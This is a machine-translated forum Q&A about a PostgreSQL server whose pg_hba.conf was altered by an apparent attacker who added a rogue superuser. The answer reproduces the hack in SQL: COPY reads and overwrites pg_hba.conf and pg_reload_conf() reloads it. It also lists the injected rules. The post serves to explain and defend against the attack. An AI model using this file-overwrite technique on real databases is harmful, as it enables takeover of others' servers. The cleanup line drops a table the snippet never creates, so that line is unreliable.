最近几个月一直运行良好;突然开始注意到应用程序中的错误,
FATAL: pg_hba.conf rejects connection for host "127.0.0.1", user "postgres", database "prod", SSL off
pg_hba.conf有
# IPv4 local connections:
host all all 127.0.0.1/32 md5
host all all 0.0.0.0/0 md5
postgresql.conf具有
listen_addresses = '*'
两个月都没有触摸/更改两个文件。
有人在运行环境中遇到过类似的问题吗?
我在stoackoverflow上经历了几个与连接有关的问题;但是它们都指向配置错误的两个文件之一。在这种情况下,这不是问题。
根本原因是已发现并解决。
这就是发生的事情(为了那些可能遇到如此奇怪问题的人的利益)
如果在完美运行的环境中发生此类问题,它可能会为某人节省一个不眠之夜。
答案 0 :(得分:3)
我遇到了同样的问题。这是一个hack。此处描述了相同的内容:
https://dba.stackexchange.com/questions/215834/postgres-9-6-10-pg-hba-conf-altered
我有一个新的管理员postgres用户“ pgdbadm”,由于template1数据库中的3个对象依赖于此,因此无法删除。从template0恢复template1 db后,我设法删除了该用户。
pg_hba.conf文件顶部有两个新规则:
host all postgres 0.0.0.0/0 reject
host all pgdbadm 0.0.0.0/0 md5
文件的其余部分相同。
通过在pgAdmin 4中执行以下操作,我设法完全没有外壳访问来复制黑客:
-- creating a new table
create table test(a text);
-- inserting the contents of pg_hba.conf into the table
copy test from '/var/lib/pgsql/data/pg_hba.conf';
-- overwriting the pg_hba.conf file with the contents from the table prepended with one random rule (just to test it)
copy (select 'host all all 127.0.0.1/32 md5' union all select * from test) TO '/var/lib/pgsql/data/pg_hba.conf';
-- cleanup
drop table a;
-- reloading the server config
select pg_reload_conf();
当然,这仅是可能的,因为postgres是在AWS EC2实例上设置的,其中所有端口均打开,默认为postgres用户,默认端口为愚蠢的超级容易猜到的密码:“ asd123”。实例中的安全日志充满了尝试通过各种端口,使用各种用户名等进行连接的尝试,因此很可能是随机攻击。